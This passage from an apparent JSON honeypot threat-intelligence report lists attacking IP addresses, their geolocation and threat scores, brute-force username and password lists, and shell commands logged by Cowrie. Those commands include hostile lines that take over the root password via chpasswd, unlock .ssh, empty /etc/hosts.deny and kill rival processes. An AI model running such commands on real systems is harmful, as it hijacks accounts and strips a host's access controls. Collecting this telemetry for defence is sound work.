        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:OfwTLBnUTmWy\"|chpasswd|bash",
        "echo \"root:YjZgeDVUOZ9U\"|chpasswd|bash",
        "echo \"root:lpSX3XUIKVHH\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:10:33.037000+00:00",
        "last_seen_30d": "2026-04-03T04:21:26.790000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "175.151.165.236": {
      "attack_count": 286,
      "first_seen": "2026-04-21T11:56:28.028Z",
      "last_seen": "2026-04-21T12:02:43.959Z",
      "sessions": 143,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 430,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T11:56:28.028000+00:00",
        "last_seen_30d": "2026-04-21T12:03:48.049000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 144
      }
    },
    "95.181.230.51": {
      "attack_count": 275,
      "first_seen": "2026-04-12T01:59:42.186Z",
      "last_seen": "2026-04-12T02:54:30.127Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "mark",
        "345gs5662d34",
        "admin",
        "bot",
        "claude",
        "gerrit",
        "test"
      ],
      "passwords_attempted": [
        "1122334455",
        "123",
        "1qaz2wsx@#",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd1234567$",
        "Bc123456",
        "Bot!",
        "Ftpuser28!",
        "QWERTYUI12345",
        "admin124",
        "admin12@#",
        "claude31",
        "ftpuser",
        "gerrit",
        "mark",
        "qazwsx123!",
        "root0000@123",
        "test6"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"mark\\nXmeY1ui43UCS\\nXmeY1ui43UCS\\n\"|passwd",
        "echo \"root:crM7CO1339mW\"|chpasswd|bash",
        "echo \"test6\\nal1qkraY8CUj\\nal1qkraY8CUj\\n\"|passwd",
        "echo -e \"mark\\nXmeY1ui43UCS\\nXmeY1ui43UCS\"|passwd|bash",
        "echo -e \"test6\\nal1qkraY8CUj\\nal1qkraY8CUj\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 210079,
      "as_org": "EuroByte LLC",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T01:59:42.186000+00:00",
        "last_seen_30d": "2026-04-12T02:55:36.674000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 275,
        "Suricata": 51
      }
    },
    "207.154.254.44": {
      "attack_count": 263,
      "first_seen": "2026-04-12T10:01:13.350Z",
      "last_seen": "2026-04-12T10:37:09.995Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "odoo",
        "zte",
        "ali",
        "dev",
        "jason",
        "jrodriguez",
        "steam",
        "test",
        "test1",
        "ubuntu",
        "username",
        "vncuser",
        "xx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123456A",
        "1q2w3ezxc",
        "A123456798",
        "Kp123456",
        "Odoo123456",
        "P@ssw0rdz5",
        "Test2025!",
        "Welcome123",
        "Wu123456",
        "Yz123456",
        "abc123",
        "ali!@#$",
        "ccQQ111",
        "dev10",
        "hello",
        "jason123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Odoo123456\\nor3d7rGDohgp\\nor3d7rGDohgp\\n\"|passwd",
        "echo \"zte\\nclIOZ4o4DhyR\\nclIOZ4o4DhyR\\n\"|passwd",
        "echo -e \"Odoo123456\\nor3d7rGDohgp\\nor3d7rGDohgp\"|passwd|bash",
        "echo -e \"zte\\nclIOZ4o4DhyR\\nclIOZ4o4DhyR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:01:13.350000+00:00",
        "last_seen_30d": "2026-04-12T10:38:15.733000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 65
      }
    },
    "43.153.136.231": {
      "attack_count": 261,
      "first_seen": "2026-04-09T18:23:09.209Z",
      "last_seen": "2026-04-09T19:08:05.032Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ali",
        "azureuser",
        "bit",
        "claude",
        "dev",
        "frappe",
        "gitlab",
        "payam",
        "surya",
        "tomcat",
        "ubuntu",
        "web"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "123456",
        "123456789a",
        "123_asdf",
        "147258369",
        "1q2w3e4r",
        "6",
        "Abcd123456@#",
        "Admin17",
        "Ali!123",
        "Asd.123456",
        "FRAPPE",
        "Lz123456",
        "P@ssw0rd1983",
        "Qwer@123456",
        "admin99",
        "azureuser@2026",
        "claude12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Avvfq5UXic4c\"|chpasswd|bash",
        "echo \"root:NUFldGFH3VnJ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T18:23:09.209000+00:00",
        "last_seen_30d": "2026-04-09T19:09:14.851000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 67
      }
    },
    "209.99.189.174": {
      "attack_count": 204,
      "first_seen": "2026-04-25T16:59:09.473Z",
      "last_seen": "2026-04-25T17:25:55.094Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "ftpuser",
        "user1",
        "345gs5662d34",
        "abdo",
        "ociistst",
        "odoo",
        "postgres",
        "root1",
        "server",
        "teamspeak",
        "test",
        "user",
        "user10",
        "vlad"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "123654",
        "1Q2W3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "999999",
        "A1234567890",
        "Aa112211.",
        "Admin123456",
        "P@ssw0rd",
        "Password123$",
        "QWE",
        "Server17",
        "Sj123456",
        "Teamspeak9",
        "Welcome2025",
        "abdo",
        "nPSpP4PBW0",
        "ociistst"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test123\\nT1i0KBHwRIMt\\nT1i0KBHwRIMt\\n\"|passwd",
        "echo -e \"test123\\nT1i0KBHwRIMt\\nT1i0KBHwRIMt\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T16:59:09.473000+00:00",
        "last_seen_30d": "2026-04-25T17:27:02.184000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 64
      }
    },
    "114.35.59.237": {
      "attack_count": 199,
      "first_seen": "2026-04-22T09:41:17.159Z",
      "last_seen": "2026-04-22T11:12:53.904Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "odoo",
        "ubuntu",
        "user2",
        "345gs5662d34",
        "admin1234",
        "bot",
        "exit",
        "loginuser",
        "miguel",
        "n8n",
        "sammy",
        "spark",
        "steam",
        "tao",
        "test1",
        "testuser",
        "uap"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "1234567",
        "3245gs5662d34",
        "345gs5662d34",
        "Bismillah",
        "N8n!@#$",
        "Odoo",
        "Odoo8",
        "P@ss#1234",
        "P@ssw0rd123",
        "Password",
        "Q1w2e3r4t5y6",
        "Root123123@123",
        "Sammy18",
        "Steam12",
        "ZAQ!2wsx@#",
        "admin1234",
        "exit",
        "li123456."
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234567\\nmsCNPpJYZgi8\\nmsCNPpJYZgi8\\n\"|passwd",
        "echo -e \"1234567\\nmsCNPpJYZgi8\\nmsCNPpJYZgi8\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Songshan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T09:41:17.159000+00:00",
        "last_seen_30d": "2026-04-22T11:13:57.704000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 62
      }
    },
    "123.48.142.249": {
      "attack_count": 194,
      "first_seen": "2026-04-20T08:35:54.422Z",
      "last_seen": "2026-04-20T09:20:04.348Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "silvia",
        "345gs5662d34",
        "administrator",
        "apache",
        "cftest",
        "cmm",
        "crystal",
        "deploy",
        "ftpuser",
        "git",
        "huawei",
        "oracle",
        "postfix",
        "sammy",
        "server",
        "ubuntu",
        "user",
        "wp-user"
      ],
      "passwords_attempted": [
        "123321",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Huawei12#$",
        "Oracle17",
        "XXxx000",
        "ZZbb112233",
        "ccQQ123123",
        "cftest",
        "cmm123",
        "crystal",
        "passpass",
        "password123",
        "postfix",
        "qazwsx0!",
        "qazwsx2023#",
        "qwer1234",
        "qwerty123456",
        "root2019!@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"silvia\\nKPcyicPnXRef\\nKPcyicPnXRef\\n\"|passwd",
        "echo -e \"silvia\\nKPcyicPnXRef\\nKPcyicPnXRef\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Hamamatsu",
      "asn": 18126,
      "as_org": "Chubu Telecommunications Company, Inc.",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T08:35:54.422000+00:00",
        "last_seen_30d": "2026-04-20T09:21:05.116000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "101.36.106.113": {
      "attack_count": 193,
      "first_seen": "2026-04-15T16:01:19.527Z",
      "last_seen": "2026-04-15T16:41:44.057Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "deploy",
        "345gs5662d34",
        "admin",
        "beehive",
        "dev",
        "ftp",
        "git",
        "odoo",
        "steam",
        "support",
        "test"
      ],
      "passwords_attempted": [
        "$upp0rt",
        "1111",
        "1234",
        "123@asdf",
        "1Qaz2Wsx3Edc",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456",
        "A123456F",
        "ABCabc123",
        "Aa147258@",
        "Aa@12345678",
        "Demo@123",
        "Ks123456",
        "Qazwsx654321..",
        "Root666@",
        "admin11",
        "bbZZ123123",
        "beehive"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GUqu1i3SegnU\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T16:01:19.527000+00:00",
        "last_seen_30d": "2026-04-15T16:42:52.703000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 61
      }
    },
    "16.58.56.214": {
      "attack_count": 181,
      "first_seen": "2026-04-02T14:05:41.677Z",
      "last_seen": "2026-04-26T10:27:48.630Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
        "Accept-Encoding: gzip"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 15162,
        "days_active_30d": 30,
        "ports_targeted_30d": 177,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T00:52:07+00:00",
        "last_seen_30d": "2026-04-30T23:25:12.531000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9813,
        "Honeytrap": 4535,
        "Dionaea": 183,
        "Cowrie": 181,
        "Mailoney": 177,
        "Redishoneypot": 112,
        "ConPot": 95,
        "Ipphoney": 25,
        "CitrixHoneypot": 9,
        "ElasticPot": 9,
        "Honeyaml": 9,
        "Tanner": 7,
        "Ciscoasa": 4,
        "H0neytr4p": 3
      }
    },
    "181.218.9.86": {
      "attack_count": 168,
      "first_seen": "2026-04-01T12:15:21.092Z",
      "last_seen": "2026-04-01T13:34:13.886Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456...",
        "123456789qwertyuiop",
        "12345abc",
        "1234qaz",
        "2wsx3edc$rfv",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123456$",
        "Da123456.",
        "Hi123456",
        "Linux@2025",
        "abc123456789!",
        "ansible",
        "bajingan",
        "cy@123456",
        "frappe",
        "letmein2024",
        "qwerty147",
        "rasplex",
        "root69"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:kYBz6VHdN9zu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Crici\u00fama",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T12:15:21.092000+00:00",
        "last_seen_30d": "2026-04-01T13:35:20.976000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "139.45.211.20": {
      "attack_count": 152,
      "first_seen": "2026-04-24T07:03:08.066Z",
      "last_seen": "2026-04-24T13:18:53.815Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "systems",
        "admin",
        "emo",
        "pbxsystem",
        "sangoma",
        "adminss",
        "centos",
        "emoss",
        "supportss"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Fuck@allPBX",
        "Itsemoemo2025@Washere2025",
        "SangomaDefaultPassword",
        "helloasterisk",
        "pbx@01011",
        "vivo@01011"
      ],
      "commands_executed": [
        "echo login_success",
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Almaty",
      "asn": 44877,
      "as_org": "RETN KZ Ltd",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 253,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T06:07:45.789000+00:00",
        "last_seen_30d": "2026-04-24T13:19:59.910000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 152,
        "Suricata": 99,
        "Honeytrap": 2
      }
    },
    "45.78.202.217": {
      "attack_count": 131,
      "first_seen": "2026-04-17T18:00:08.610Z",
      "last_seen": "2026-04-17T19:14:27.476Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "violet",
        "345gs5662d34",
        "admin",
        "azureuser",
        "deploy",
        "ftpuser",
        "postgres",
        "teamspeak",
        "testing",
        "user"
      ],
      "passwords_attempted": [
        "123.com.cn",
        "123456-asdf",
        "3245gs5662d34",
        "345gs5662d34",
        "ADMIN",
        "Abcd1234567!",
        "Ftpuser20",
        "P@ssw0rd123!",
        "P@ssw0rdSISCART",
        "Pass",
        "QQaa123123",
        "Qazwsx8888..",
        "Root06",
        "US3R",
        "aaa123321",
        "abc123",
        "ddBB112233",
        "frappe2025!",
        "pOSTGRES",
        "password"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
